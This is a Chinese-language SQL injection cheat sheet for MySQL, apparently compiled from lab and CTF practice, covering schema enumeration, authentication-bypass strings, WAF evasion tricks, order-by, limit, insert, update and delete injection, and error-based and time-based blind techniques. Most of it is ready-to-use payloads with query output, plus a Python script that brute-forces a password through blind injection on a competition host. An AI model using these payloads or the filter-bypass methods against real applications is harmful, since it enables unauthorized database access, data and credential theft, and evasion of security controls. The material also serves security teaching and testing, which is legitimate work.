information_schema是用于存储数据库元数据的表,它保存了数据库名,表名,列名等信息。
让我们从爆破表名到了可以直接查询。
information_schema是MySQL5.0以上数据库独有,MYSQL4.X的没有,只能进行对库名、表名、列名暴力破解。
mysql> create database mysqltest;
Query OK, 1 row affected (0.00 sec)
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| mysqltest |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
mysql> use mysqltest
Database changed
mysql> create table admin (id int,username varchar(255),password varchar(255));
Query OK, 0 rows affected (0.09 sec)
mysql> show tables;
+---------------------+
| Tables_in_mysqltest |
+---------------------+
| admin |
+---------------------+
1 row in set (0.00 sec)
mysql> insert into admin (id,username,password) values (1,"admin","admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> select * from admin where id =1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
elt() 的分流特性
ELT(N ,str1 ,str2 ,str3 ,…)
函数使用说明:若 N = 1 ,则返回值为 str1 ,若 N = 2 ,则返回值为 str2 ,以此类推。 若 N 小于 1 或大于参数的数目,则返回值为 NULL 。 ELT() 是 FIELD() 的补数
mysql> select * from bsqli where id = 1 and elt((1>1)+1,1=1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and elt((1=1)+1,1=1,sleep(1));
Empty set (1.00 sec)
后来我发现这个确实是有案例的,但是和我这个用法没哈关系,可能只是我见识比较短浅,这是当时的payload:
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
4.field() 的分流特性
FIELD(str, str1, str2, str3, ……)
该函数返回的是 str 在面这些字符串的位置的索引,如果找不到返回 0 ,但我发现这个函数同样可以作为开关来使用,如下:
mysql> select * from bsqli where id = 1 and field(1>1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (2.00 sec)
mysql> select * from bsqli where id = 1 and field(1=1,sleep(1));
Empty set (1.00 sec)
但是这其实给了我们一种新的思路:有时候时间延迟的长短可以作为我们判断的依据,并不一定是有延迟和没延迟(当然这只是我原来没注意,不代表看这篇文章的师傅们不知道orz)
另外就是如果有些函数返回的是 NULL 并不代表这个函数不能作为开关函数或者分流函数使用,因为我们还有一个函数叫做 isnull() ,可以将 null 转化成真或者假。
当然方法肯定不止这两个,这里仅仅是讲解原理的简单举例。
if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
select case when (条件) then 代码1 else 代码 2 end
left(str,index) //从左边第index开始截取
right(str,index) //从右边第index开始截取
substring(str,index) //从左边index开始截取
substr(str,index,len) //截取str,index开始,截取len的长度
mid(str,index,len) //截取str 从index开始,截取len的长度
strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) //如果相同则返回1不同则返回0
concat(str1,str2) //将字符串首尾相连
concat_ws(separator,str1,str2) //将字符串用指定连接符连接
group_concat()//
instr(str1,substr) //从子字符串中返回子串第一次出现的位置
lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
sleep()
benchmark(1000000,sha(1))
hex() ascii() chr()
load_file //读取文件
outfile //写入文件
information_schema经常用到的几个表
SCHEMATA:
mysql> select * from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | mysql | latin1 | latin1_swedish_ci | NULL |
| def | mysqltest | latin1 | latin1_swedish_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
4 rows in set (0.00 sec)
TABLES:
mysql> select table_name from information_schema.tables where table_schema=0x6D7973716C74657374; //注意这里不用引号就要把数据库名转为16进制
+------------+
| table_name |
+------------+
| admin |
+------------+
1 row in set (0.00 sec)
COLUMNS:
mysql> select column_name from information_schema.columns where table_name=0x61646D696E;
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
3 rows in set (0.00 sec)
我们前面说过information_schema储存的是所有数据库的信息,假如我的数据库 mysqltest1
mysqltest2
都存在admin表的话 它都会显示出来
mysql> select column_name from information_schema.columns where table_name=0x61646D696E;
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
| id |
| user |
| pass |
+-------------+
6 rows in set (0.00 sec)
所以要指定数据库
mysql> select column_name from information_schema.columns where table_name=0x61646D696E and table_schema=0x6D7973716C74657374;
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
3 rows in set (0.00 sec)
information_schema.tables:
查询表名:table_name 对应的数据库名: table_schema
information_schema.columns:
查询列名:column_name 对应的表名:table_schemamysql盲注语句一般形式
查询结果 + 比较运算符 + 猜测值
''
""
()
{}
\
\\
``
%
' --
"
--
--+
#
/*
')
%'
'))))))) //指不定真的有开发写一堆括号……
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
'|0#
name = '/*' and pass = '*/'
mysql> select ''=0
-> ;
+------+
| ''=0 |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> select 1=0=0;
+-------+
| 1=0=0 |
+-------+
| 1 |
+-------+
1 row in set (0.30 sec)
1=1 可以写成 ~1=~1
user/**/(/*!*/)
/*!and*/
and!!!
/*!%26%26*/
/*!11440and*/
and hex(1)
1'|1
1'&1
1'^1
hex(1)>~1
hex(1)>-1
~1>1
union/*!/*!5select*/
id=-1' /*&id='union select 1,user(),3 -- +*/ hpp参数污染
union -- hex()%0a select
/*!5000updatexml*/(1,1,1)
0x1 函数名和括号直接可以插入特殊字符 ex
concat/**/()
information_schema/**/./**/TABLES
information_schema%0a.%0aTABLES
0x2 {identifier expr}
select {x 1} from {x test} limit 1;
1.函数绕过:
strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1),greatest() find_in_set()
< > <>
---------------------------------------------------------------------------------
2.like、regexp
---------------------------------------------------------------------------------
3.in
//select "123" in ("123"); => 1 select "123" in ("12") =>0
mysql> select "123" in ("123");
+------------------+
| "123" in ("123") |
+------------------+
| 1 |
+------------------+
1 row in set (0.00 sec)
mysql> select "123" in ("12");
+-----------------+
| "123" in ("12") |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)
---------------------------------------------------------------------------------
4.between
mysql> select * from sqli_1 where id between 1 and 1;
+----+----------------+----------+----------------------------------+
| id | flag | username | password |
+----+----------------+----------+----------------------------------+
| 1 | flag{t1n83f5g} | admin | 21232f297a57a5a743894a0e4a801fc3 |
+----+----------------+----------+----------------------------------+
1 row in set (0.00 sec)
hex() bin() ord()
left() right() mid() substr() substring() lpad() rpad()
mysql> select e.3 from (select * from (select 1)b,(select 2)c,(select 3)a union select * from test)e;`
通过构造一个虚拟表
`select * from (select 1)... union select * from test`, 联合进表信息 赋予别名 然后通过列数来调用
limit 0,1 => limit 1 offset 0;
mid(str,5,1) =>mid('str'from 5 for 1) =>substr('str' from for 1)
union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c;
这个点在实战也有,很有意思
有大佬写过一篇文章:绕过逗号和空格的mysql小特性
mid('123' from -1); =>3
mid('123' from -2); =>23
version() => `version`()
version() => version/**/()
select * from test where name=0.1union select 1,2,3;
select * from test where name=1E1union select 1,2,3;
select * from test where name=\Nunion select 1,2,3; //\N => null
考虑将内容进行hex编码
select * from test where name='xq17';
select hex('xq17') => 78713137;
则上面等价
select * from test where name=0x78713137;
ssti模版注入利用数据库中介来绕过过滤 特殊字符,详情可以参考:python继承链和题解综合
(10) /union select/ 匹配绕过
union distinct select 1,2,3
HTTP协议中有很多功能,一般来说我们可以用到的就是编码功能,后来有大佬发现了分块传入来绕过WAF,具体大家可以百度看看,大概http协议我们可以总结如下。
--大小混写一般是绕过一些简单的正则 ,对大小写敏感的。
UnIon SlEct
--这种一般是因为正则吧我们的关键词给替换删除了,但是没有进行多次匹配导致绕过
ununionion seselectlect
un/**/ion se/**/lect
特殊符号也多是数据库的特性,利用数据库可以使用多种符号来绕过,多种的运算符
`updatexml`
and!!!1=1
/**/
/*!50000*/
--这里和http协议差不多,多重编码等等,url编码会自己解码一次,但是有的程序他可以自己多次解密,那么我们就可以拿来利用
--还有的程序参数他是支持base64的 那么我们的payload就可以编码绕过了
= -> %3D ->%25%33%44
and 1=1 -> YW5kIDE9MQ==
容器的特性给我们绕过非常的有帮助,感谢那些善于发现的师傅们。
--iis+asp 的%特性:当传入的 s%e%l%e%c%t 函数被%分割时,解析出来还是select
--iis+asp 的unicode特性 : iis支持Unicode的解析 我们传入s%u0065lect解析为select
+--------------------------------------------------------------------+
| Keywords | WAF | ASP/ASP.NET |
+--------------------------------------------------------------------+
| sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. |
| ;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx |
| <scr%ipt> | <scr%ipt> | <script> |
| <if%rame> | <if%rame> | <iframe> |
+--------------------------------------------------------------------+
hpp参数污染,前面我们绕过安全狗用到过,不同容器对我们传入的值解析顺序不同,这也是我们可以利用的
--php+apache &id=1&id=2 他只解析最后一个
+------------------------------------------------------------------+
| Web Server | Parameter Interpretation | Example |
+------------------------------------------------------------------+
| ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
| ASP/IIS | Concatenation by comma | par1=val1,val2 |
| PHP/Apache | The last param is resulting | par1=val2 |
| JSP/Tomcat | The first param is resulting | par1=val1 |
| Perl/Apache | The first param is resulting | par1=val1 |
| DBMan | Concatenation by two tildes | par1=val1~~val2 |
+------------------------------------------------------------------+
不同的容器他会对我们的参数带入的一些特殊字符解析成不同的东西,比如
+-----------------------------------------------------------+
| Query String | Web Servers response / GET values |
+-----------------------------------------------------------+
| | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |
+-----------------------------------------------------------+
| ?test[1=2 | test_1=2 | test[1=2 |
| ?test=% | test=% | test= |
| ?test%00=1 | test=1 | test=1 |
| ?test=1%001 | NULL | test=1 |
| ?test+d=1+2 | test_d=1 2 | test d=1 2 |
+-----------------------------------------------------------+
有的程序他会对本地ip不拦截,同时他的host使用X-Forwarded-For
等来获取
X-Forwarded-For:127.0.0.1
waf他处理数据包的大小有限,早期安全狗你提交过长url会直接奔溃
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
%20 %09 %0a %0b %0c %0d %a0 /**/ tab
%a0 这个不会被php的\s进行匹配
/*!*/ 内敛注释
# 这个也可以用来做分隔 挺有意思
单行注释:#
单行注释:--
多行注释:/*this is test*/ /*/**/这样是等效于/**/
内联注释 /*!and*/ /*!/*!*/是等效于/*!*/的
/*当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的。 myysql的版本是如下:使用version()查询到是5.7.26,其实是5.0.7.26的 内联注释就应该写/*!50726*/ */
;%00
`
取自官方文档 排列在同一行的操作符具有相同的优先级 (优先级这个东西很重要)
:=
||, OR, XOR
&&, AND
NOT
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<<, >> //左移 右移
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE
between //select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
in //select '123' in ('12') => 0
like(模糊匹配) //select '12345' like '12%' => true
regexp 或 rlike(正则匹配)//select '123455' regexp '^12' => true
函数名 | 描述 | 实例 |
---|---|---|
CURRENT_USER() | 返回当前用户 | SELECT CURRENT_USER(); |
-> guest@% | ||
DATABASE() | 返回当前数据库名 | SELECT DATABASE(); |
-> runoob | ||
SESSION_USER() | 返回当前用户 | SELECT SESSION_USER(); |
-> guest@% | ||
SYSTEM_USER() | 返回当前用户 | SELECT SYSTEM_USER(); |
-> guest@% | ||
USER() | 返回当前用户 | SELECT USER(); |
-> guest@% | ||
VERSION() | 返回数据库的版本号 | SELECT VERSION() |
-> 5.6.34 | ||
@@datadir | 数据库路径 | select @@datadir; |
-> | ||
@@version_compile_os | 操作系统版本 | select @@version_compile_os |
-> | ||
group_concat(str1,str2,…) | 只显示一行是用的,连接一个组的所有数据, 并以逗号分隔每一条数据 | select concat (id, name, score) as info from tt2; |
-> |
更多函数请查询手册
https://www.runoob.com/mysql/mysql-functions.html
http://www.mysqlab.net/docs/view/refman-5.1-zh/chapter/functions.html
探测是否存在注入的话,可以将敏感的函数替换。例如user()被ban了可以使用now()等无害的时间函数代替(毕竟只是探测)。
这是一种特殊的注入 sql语句为 select * from admin order by $id
我们一般用order by 来判断他的列数,其实他就是一个依照第几个列来排序的过程。
order by注入是不能 直接使用and 1=1
来判断的,他需要用到条件语句。
mysql> select * from admin order by id;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from admin order by username;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
--简单的判断
mysql> select * from admin order by if(1=1,username,password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from admin order by if(1=3,username,password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
--简单的注入
mysql> select * from admin order by if((substr((select user()),1,1)='r1'),username,password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from admin order by if((substr((select user()),1,1)='r'),username,password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
http://127.0.0.1/sqli/Less-46/?sort=if((substr((select user()),1,1)='r'),username,password)
--时间盲注不能直接简单的`sleep()` 因为他会对每条内容来执行你的语句,所以会造成dos测试获取速度慢等问题,这时候我们需要用到子查询
--简单的sleep
mysql> select * from admin order by if((substr((select user()),1,1)='r'),sleep(5),password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 3 | bdmin | fdmin |
| 2 | admin | ddmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (15.01 sec)
--我们写一条简单的子查询试试
mysql> select * from admin order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 3 | bdmin | fdmin |
| 2 | admin | ddmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (2.01 sec)
http://127.0.0.1/sqli/Less-46/?sort=(extractvalue(1,concat(0x3a,version())),1)
mysql> select * from admin order by (extractvalue(1,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
查询语句如下
select * from $id;
mysql> select * from admin union select 1,user(),3;
+------+----------------+----------+
| id | username | password |
+------+----------------+----------+
| 3 | bdmin | fdmin |
| 2 | admin | ddmin |
| 1 | cdmin | bdmin |
| 1 | root@localhost | 3 |
+------+----------------+----------+
4 rows in set (0.02 sec)
--方法跟普通注入一样的一样自己加上表名
这种注入也不是很常见,依照 https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ 来提一下
mysql> select * from admin where id >0 limit 0,1 $id
--如何利用呢 大佬们已经给出方法了 用 `PROCEDURE ANALYSE` 配合报错注入,所以多看文档,如果你想提升下自己的水平
mysql> select * from admin where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
ERROR:
No query specified
--这里延时只能使用`BENCHMARK()` 如同
select * from admin where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);
获取当前注入点所在表的信息 常见于后台登陆、ctf考点中
有大佬以前写过一篇实战遇到的场景: bypass select from 另类的sql注入闷骚操作获得管理员密码
(1)限制: 过滤了information_schema 突破:获取表名
支持报错注入:
and polygon(id)# id如果是当前表存在的字段就爆出表名
mysql> select * from test where name='1' and polygon(id);
ERROR 1367 (22007): Illegal non geometric '`test`.`test`.`id`' value found during parsing
爆列名 通过using可以爆出所有列名
mysql> select * from (select * from test as a join test as b)as c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from test as a join test as b using(id))as c;
ERROR 1060 (42S21): Duplicate column name 'name'
mysql> select * from (select * from test as a join test as b using(id,name))as c;
ERROR 1060 (42S21): Duplicate column name 'password'
*(2)限制:过滤了字段名,可union 源码给出字段结构(次要) 突破:获取指定字段内容
曾经校赛学长出过一道题
$filterlist = "/(|)|username|password|id|where|case|=|like|sleep|for|into_outfile|load_file;/“;
其实思路就是:
mysql> select * from test where name='xq17' union select 1,'x',3 order by name;
+----+------+----------+
| id | name | password |
+----+------+----------+
| 1 | x | 3 |
| 1 | xq17 | 123456 |
mysql> select * from test where name='xq17' union select 1,'w',3 order by name;
+----+------+----------+
| id | name | password |
+----+------+----------+
| 1 | w | 3 |
| 1 | xq17 | 123456 |
+----+------+----------+
2 rows in set (0.00 sec)
通过 order by进行降序排序 就会发现 代码取返回的值会发生不同 就可以根据这个来写布尔盲注
(3)限制了union select等关键词 突破:获取内容
mysql> select * from test where name='xq17' && password<'2';
+----+------+----------+
| id | name | password |
+----+------+----------+
| 1 | xq17 | 123456 |
+----+------+----------+
1 row in set (0.00 sec)
这个很经典的 在巅峰极客好像出过题 当时写了个脚本
url='http://67c10dc4d7c848ceb59b1d3ed32a94667fbd86ee51384f05.game.ichunqiu.com/'
vuln_url =url +'/sql.php'
flag=""
while(True):
for i in range(30,128):
flag+=chr(i)
payload="wuyanzu'/**/&&/**/passwd<'{}'#".format(flag)
data={
'uname':payload,
'passwd':'admin',
'submit':'login'
}
r1=requests.post(vuln_url,data=data)
if('passwd error' in r1.content):
flag=flag[:-1]+chr(i-1)
print flag
break
else:
flag=flag[:-1]
//判断
?id=1 and 1=1 -- +
?id=1 and 1=2 -- +
//猜字段,并且尝试是否有回显
?id=1 order by 4 --+
?id=-1 UNION SELECT 1,2,3,4 --+
//查询敏感函数
?id=-1 UNION SELECT 1,2,user(),version() --+
//查数据库
?id=-1 and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit 0,1 --+
?id=-1 and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit 1,1 --+
//查表名
?id=-1 and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema='noteb' limit 0,1 --+
//16进制
?id=-1 and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=0x6e6f746562 limit 0,1 --+
//查列名
?id=-1 and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name='sqli_1' limit 0,1 --+
//查数据
?id=-1 and 1=2 union select 1,2,flag,4 from sqli_1 --+
//多个数据查询
//查数据库
?id=-1 and 1=2 union select 1,2,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),4 --+
//查表名
?id=-1 and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='noteb'),4 --+
//查列名
?id=-1 and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='sqli_1'),4 --+
//查数据
?id=-1 and 1=2 union select 1,2,(select group_concat(flag,username,password) from sqli_1),4 --+
MYSQL报错函数
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
//1. floor()
//数据库相关信息
?id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
//数据库
?id=1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
//表
?id=1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
//列
?id=1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='sqli_1' LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
//数据
?id=1 and (select 1 from (select count(*),concat((select concat(0x7e,username,0x5e24, password,0x7e) from sqli_1 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
//2. extractvalue()
?id=1 and extractvalue(1, concat(0x5c,(version()))) --+
?id=1 and extractvalue(1, concat(0x5c,(SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1))) --+
//其他参照foor()
//2. updatexml()
?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
?id=1 and updatexml(1,concat(0x7e,(select concat(0x7e,username,0x5e24, password,0x7e) from sqli_1 limit 1,1),0x7e),1)--+
//其他参照foor()
盲注的本质是猜解(所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断),那能感觉到什么?答案是:差异(包括运行时 间的差异和页面返回结果的差异)。也就是说我们想实现的是我们要构造一条语句来测试我们输入的布尔表达式,使得布尔表达式结 果的真假直接影响整条语句的执行结果,从而使得系统有不同的反应,在时间盲注中是不同的返回的时间,在布尔盲注中则是不同的 页面反应。
常用函数
** sleep 和 benchmark**
//1.sleep()
//判断是否有延迟
?id=1-/*!00000sleep*//**/(5) --+
//
//if函数
?id=1-if(mid(version(),1,1)='5',sleep(2),0) --+
//elt函数
?id=1-elt(mid(version(),1,1)='5',sleep(2),0) --+
//fied函数
?id=1-field(mid(version(),2,1)='.',sleep(2),0) --+
//配合笛卡尔积...不推荐!
?id=1 and if(mid(version(),1,1)='5',(SELECT count(*) FROM information_schema.columns A,information_schema.columns B,information_schema.columns C),0) --+
//猜数据库名
?id=1-if(ascii(substr((SELECT distinct concat(schema_name) FROM information_schema.schemata LIMIT 0,1),1,1)) = '105',sleep(1),0) --+
//猜表名
?id=1-if(ascii(mid((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))='110',sleep(2),0) --+
//猜列名
?id=1-if(ascii(substring((SELECT distinct concat(column_name) FROM information_schema.columns where table_name='sqli_1' LIMIT 0,1),1,1)) = '105',sleep(1),0) --+
//猜数据
?id=1-if(ascii(substr((select concat(flag) from sqli_1 limit 0,1),1,1)) = '102',sleep(1),0) --+
//BENCHMARK
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1) --+
//get_lock 需开启持久化连接
select * from ctf where flag = 1 and get_lock('username',1);
select * from ctf where flag = 1 and 1 and get_lock('username',5);
//Heavy Query 正则表达式 (通过rpad或 repeat构造长字符串,加以计算量大的 pattern,通过repeats的参数可以控制延时长短。)
mysql> select * from test where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
ERROR 3699 (HY000): Timeout exceeded in regular expression match.
mysql> select * from test where id =1 and IF(0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (0.00 sec)
//没尝试过
//猜数据库信息
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and substr((select user()),1,1)='r' -- +
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and substr((select database()),2,1)='o' -- +
//猜数据库
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and ascii(substr((SELECT distinct schema_name FROM information_schema.schemata LIMIT 0,1),1,1))='105' -- +
//猜表名
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and ascii(substr((SELECT distinct table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))='110' -- +
//hex()
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and hex(substr((SELECT distinct table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))='6E' -- +
//猜字段
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and ascii(substr((SELECT distinct column_name FROM information_schema.columns where table_name='sqli_1' LIMIT 0,1),1,1))='105' -- +
//猜数据
http://127.0.0.1/noteb/vul/sqli/sqli1/index.php?id=1 and ascii(substr((select concat(flag) from sqli_1 limit 0,1),1,1))='102' -- +
存在insert注入的SQL语句可能为如下语句:
insert into users(id,username,passowrd) values(2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or '','Nervo');
//利用报错注入,参考update
username=noteb' or updatexml(1,concat(0x7e,database()),0) or ' &password=noteb
//回显报错信息
XPATH syntax error: '~noteb'
//sql语句如下
INSERT INTO `sqli_18`(`flag`, `username`, `password`) values ('','noteb' or updatexml(1,concat(0x7e,database()),0) or ' ','7aa8ebee2608f78d980ed88e86696c24')
//其他参考报错注入
存在update注入的SQL语句可能为如下语句:
update sqli_17 set HTTP_X_FORWARDED_FOR = '{$ip}' ,HTTP_USER_AGENT ='{$ua}',HTTP_ACCEPT = '{$accept}',HTTP_HOST ='{$host}' where username='{$username}'
如果开发输出了报错信息,那么就可能存在报错注入
如果不输出报错信息的话emm。。。我没啥特别好的想法,除非他update然后还select了刚刚update的数据,造成了二次注入??可能也是我自己学疏才浅。。
注入点在HTTP_X_FORWARDED_FOR参数,那么我们构造的语句就应该是
X-Forwarded-For: 127.0.0.1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) #
//输出信息如下
记录信息如下:您的IP:127.0.0.1%27 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) #
您的UA头:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
您的accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
host:127.0.0.1
XPATH syntax error: '~root@localhost~'<br>记录失败!
其他参考报错注入
//执行的SQ语句如下
update sqli_17 set HTTP_X_FORWARDED_FOR = '127.0.0.1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) #',HTTP_USER_AGENT ='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',HTTP_ACCEPT = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',HTTP_HOST ='127.0.0.1' where username='admin'
delete注入的SQL语句与下面类似
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
delete注入也可参考update注入,一般是利用报错注入…
